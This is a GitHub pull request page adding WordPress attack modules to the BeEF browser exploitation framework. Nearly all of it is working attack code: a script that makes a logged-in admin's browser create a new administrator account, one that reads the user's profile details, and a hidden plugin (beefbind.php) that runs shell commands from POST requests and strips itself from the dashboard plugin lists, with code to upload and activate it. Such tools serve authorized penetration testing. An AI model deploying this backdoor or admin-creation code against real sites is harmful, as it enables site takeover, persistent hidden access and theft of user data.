Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

WordPress Fixes and Improvements #1786

Merged
merged 5 commits into from
Dec 3, 2019
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
84 changes: 84 additions & 0 deletions modules/misc/wordpress/add_user/command.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
/*
Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission

This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore

Original Author: Daniel Reece (@HBRN8).
Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/
*/


beef.execute(function() {
beef_command_url = '<%= @command_url %>';
beef_command_id = <%= @command_id %>;

// Adds wp.js to the DOM so we can use some functions here
if (typeof get_nonce !== 'function') {
var wp_script = document.createElement('script');

wp_script.setAttribute('type', 'text/javascript');
wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');
var theparent = document.getElementsByTagName('head')[0];
theparent.insertBefore(wp_script, theparent.firstChild);
}

var create_user_path = '<%= @wp_path %>wp-admin/user-new.php';

/*
When there is an error (such as incorrect email, username already existing etc),
the response will be a 200 with an ERROR in the body

When successfully created, it's a 302, however the redirection is followed by the web browser
and the 200 is served directly to the AJAX response here and we don't get the 302,
so we check for the 'New user created.' pattern in the page
*/
function check_response_for_error(xhr) {
if (xhr.status == 200) {
responseText = xhr.responseText;

if ((matches = /<strong>ERROR<\/strong>: (.*?)<\/p>/.exec(responseText))) {
log('User Creation failed: ' + matches[1], 'error');
}
else if (/New user created/.test(responseText)) {
log('User successfully created!', 'success');
}
}
}

function create_user(nonce) {
post(
create_user_path,
{
action: 'createuser',
'_wpnonce_create-user': nonce,
'_wp_http_referer': create_user_path,
user_login: '<%= @username %>',
email: '<%= @email %>',
first_name: '',
last_name: '',
url: '',
pass1: '<%= @password %>',
pass2: '<%= @password %>',
pw_weak: 'on', // Just in case
role: '<%= @role %>',
createuser: 'Add+New+User'
},
function(xhr) { check_response_for_error(xhr) }
);
}

// Timeout needed for the wp.js to be loaded first
setTimeout(
function() {
get_nonce(
create_user_path,
'_wpnonce_create-user',
function(nonce) { create_user(nonce) }
)
},
300
);

});

19 changes: 19 additions & 0 deletions modules/misc/wordpress/add_user/config.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,19 @@
#
# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore
#
# Original Author: Daniel Reece (@HBRN8).
# Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/
#
beef:
module:
wordpress_add_user:
enable: true
category: Misc
name: WordPress Add User
description: Adds a WordPress User. No email will be sent to the email address entered, and weak password are allowed.
authors: ['hiburn8 @hbrn8', 'Erwan LR']
target:
working: ['ALL']
36 changes: 36 additions & 0 deletions modules/misc/wordpress/add_user/module.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,36 @@
#
# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# This is a complete rewrite of the original module exploits/wordpress_add_admin which was not working anymore
#
# Original Author: Daniel Reece (@HBRN8).
# Rewritten by Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/
#
require_relative '../wordpress_command'

class Wordpress_add_user < WordPressCommand
def self.options
super() + [
{ 'name' => 'username', 'ui_label' => 'Username', 'value' => 'beef' },
{ 'name' => 'password', 'ui_label' => 'Pwd', 'value' => SecureRandom.hex(5) },
{ 'name' => 'email', 'ui_label' => 'Email', 'value' => '' },
{ 'name' => 'role',
'type' => 'combobox',
'ui_label' => 'Role',
'store_type' => 'arraystore',
'store_fields' => ['role'],
'store_data' => [['administrator'], ['editor'], ['author'], ['contributor'], ['subscriber']],
'value' => 'administrator',
'valueField' => 'role',
'displayField' => 'role',
'mode' => 'local',
}
#{ 'name' => 'domail', 'type' => 'checkbox', 'ui_label' => 'Success mail?:', 'checked' => 'true' },
# If one day optional options are supported:
#{ 'name' => 'url', 'ui_label' => 'Website:', 'value' => '' },
#{ 'name' => 'fname', 'ui_label' => 'FirstName:', 'value' => '' },
#{ 'name' => 'lname', 'ui_label' => 'LastName:', 'value' => '' }
]
end
end
43 changes: 43 additions & 0 deletions modules/misc/wordpress/current_user_info/command.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
/*
Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission

Author @erwan_lr (WPScanTeam) - https://wpscan.org/
*/


beef.execute(function() {
beef_command_url = '<%= @command_url %>';
beef_command_id = <%= @command_id %>;

// Adds wp.js to the DOM so we can use some functions here
if (typeof get_nonce !== 'function') {
var wp_script = document.createElement('script');

wp_script.setAttribute('type', 'text/javascript');
wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');
var theparent = document.getElementsByTagName('head')[0];
theparent.insertBefore(wp_script, theparent.firstChild);
}

var user_profile_path = '<%= @wp_path %>wp-admin/profile.php'

function process_profile_page(xhr) {
if (xhr.status == 200) {
username = xhr.responseXML.getElementById('user_login').getAttribute('value');
email = xhr.responseXML.getElementById('email').getAttribute('value');

log('Username: ' + username + ', Email: ' + email, 'success');
} else {
log('GET ' + user_profile_path + ' - Status ' + xhr.status, 'error');
}
}

// Timeout needed for the wp.js to be loaded first
setTimeout(
function() { get(user_profile_path, function(response) { process_profile_page(response) }) },
300
);

});

16 changes: 16 additions & 0 deletions modules/misc/wordpress/current_user_info/config.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
#
# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Author @erwan_lr (WPscanTeam) - https://wpscan.org/
#
beef:
module:
wordpress_current_user_info:
enable: true
category: Misc
name: WordPress Current User Info
description: Get the current logged in user information (such as username, email etc)
authors: ['Erwan LR']
target:
working: ['ALL']
10 changes: 10 additions & 0 deletions modules/misc/wordpress/current_user_info/module.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,10 @@
#
# Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Author @erwan_lr (WPscanTeam) - https://wpscan.org/
#
require_relative '../wordpress_command'

class Wordpress_current_user_info < WordPressCommand
end
43 changes: 43 additions & 0 deletions modules/misc/wordpress/upload_rce_plugin/beefbind.php
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
<?php
/**
* Plugin Name: beefbind
* Plugin URI: http://beefproject.com
* Description: BeEF bind shell with CORS.
* Version: 1.1
* Authors: Bart Leppens, Erwan LR (@erwan_lr | WPScanTeam)
* Author URI: https://twitter.com/bmantra
* License: Copyright (c) 2006-2019 Wade Alcorn - [email protected] - Browser Exploitation Framework (BeEF) - http://beefproject.com - See the file 'doc/COPYING' for copying permission
**/

header("Access-Control-Allow-Origin: *");

define('SHA1_HASH', '#SHA1HASH#');
define('BEEF_PLUGIN', 'beefbind/beefbind.php');

if (isset($_SERVER['HTTP_BEEF']) && strlen($_SERVER['HTTP_BEEF']) > 1) {
if (strcasecmp(sha1($_SERVER['HTTP_BEEF']), SHA1_HASH) === 0) {
if (isset($_POST['cmd']) && strlen($_POST['cmd']) > 0) {
echo system($_POST['cmd']);
}
}
}

if (defined('WPINC')) {
function hide_plugin() {
global $wp_list_table;

foreach ($wp_list_table->items as $key => $val) {
if ($key == BEEF_PLUGIN) { unset($wp_list_table->items[$key]); }
}
}
add_action('pre_current_active_plugins', 'hide_plugin');

// For Multisites
function hide_plugin_from_network($plugins) {
if (in_array(BEEF_PLUGIN, array_keys($plugins))) { unset($plugins[BEEF_PLUGIN]); }

return $plugins;
}
add_filter('all_plugins', 'hide_plugin_from_network');
}
?>
107 changes: 107 additions & 0 deletions modules/misc/wordpress/upload_rce_plugin/command.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,107 @@
/*
Copyright (c) Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission

This is a rewrite of the original module misc/wordpress_post_auth_rce.

Original Author: Bart Leppens
Rewritten by Erwan LR (@erwan_lr | WPScanTeam)
*/

beef.execute(function() {
beef_command_url = '<%= @command_url %>';
beef_command_id = <%= @command_id %>;

// Adds wp.js to the DOM so we can use some functions here
if (typeof get_nonce !== 'function') {
var wp_script = document.createElement('script');

wp_script.setAttribute('type', 'text/javascript');
wp_script.setAttribute('src', beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/wp.js');
var theparent = document.getElementsByTagName('head')[0];
theparent.insertBefore(wp_script, theparent.firstChild);
}

var wp_path = '<%= @wp_path %>';
var upload_nonce_path = '<%= @wp_path %>wp-admin/plugin-install.php?tab=upload';
var upload_plugin_path = '<%= @wp_path %>wp-admin/update.php?action=upload-plugin';

function upload_and_active_plugin(nonce) {
var boundary = "BEEFBEEF";

var post_data = "--" + boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"_wpnonce\"\r\n";
post_data += "\r\n";
post_data += nonce + "\r\n";
post_data += "--" + boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n";
post_data += "\r\n" + upload_nonce_path + "\r\n";
post_data += "--" + boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"pluginzip\";\r\n";
post_data += "filename=\"beefbind.zip\"\r\n";
post_data += "Content-Type: application/octet-stream\r\n";
post_data += "\r\n";
post_data += "<%= Wordpress_upload_rce_plugin.generate_zip_payload(@auth_key) %>";
post_data += "\r\n";
post_data += "--" + boundary + "--\r\n"

post_as_binary(
upload_plugin_path,
boundary,
post_data,
function(xhr) {
result = xhr.responseXML.getElementsByClassName('wrap')[0];

if (result == null) {
log('Could not find result of plugin upload in response', 'error');
}
else {
result_text = result.innerText;

if (/Plugin installed successfully/i.test(result_text)) {
//log('Plugin installed successfully, activating it');

// Get URL to active the plugin from response, and call it
// <div class="wrap">...<a class="button button-primary" href="plugins.php?action=activate&amp;plugin=beefbind%2Fbeefbind.php&amp;_wpnonce=d13218642e" target="_parent">Activate Plugin</a>

activation_tag = result.getElementsByClassName('button-primary')[0];

if (activation_tag == null) {
log('Plugin installed but unable to get activation URL from output', 'error');
}
else {
activation_path = '<%= @wp_path %>wp-admin/' + activation_tag.getAttribute('href');

get(activation_path, function(xhr) {
result_text = xhr.responseXML.getElementById('message').innerText;

if (/plugin activated/i.test(result_text)) {
log('Plugin installed and activated! - Auth Key: <%= @auth_key %>', 'success');
}
else {
log('Error while activating the plugin: ' + result_text, 'error');
}
});
}
}
else {
log('Error while installing the plugin: ' + result_text, 'error');
}
}
}
);
}

// Timeout needed for the wp.js to be loaded first
setTimeout(
function() {
get_nonce(
upload_nonce_path,
'_wpnonce',
function(nonce) { upload_and_active_plugin(nonce) }
)
},
300
);
});

20 changes: 20 additions & 0 deletions modules/misc/wordpress/upload_rce_plugin/config.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
wordpress_upload_rce_plugin:
enable: true
category: Misc
name: WordPress Upload RCE Plugin
description: |
This module attempts to upload and activate a malicious wordpress plugin, which will be hidden from the plugins list in the dashboard.
Afterwards, the URI to trigger is: http://vulnerable-wordpress.site/wp-content/plugins/beefbind/beefbind.php,
and the command to execute can be send by a POST-parameter named 'cmd', with a 'BEEF' header containing the value of the auth_key option.
However, there are more stealthy ways to send the POST request to execute the command, depending on the target.
CORS headers have been added to allow bidirectional crossdomain communication.
authors: ['Bart Leppens', 'Erwan LR']
target:
working: ['ALL']
Loading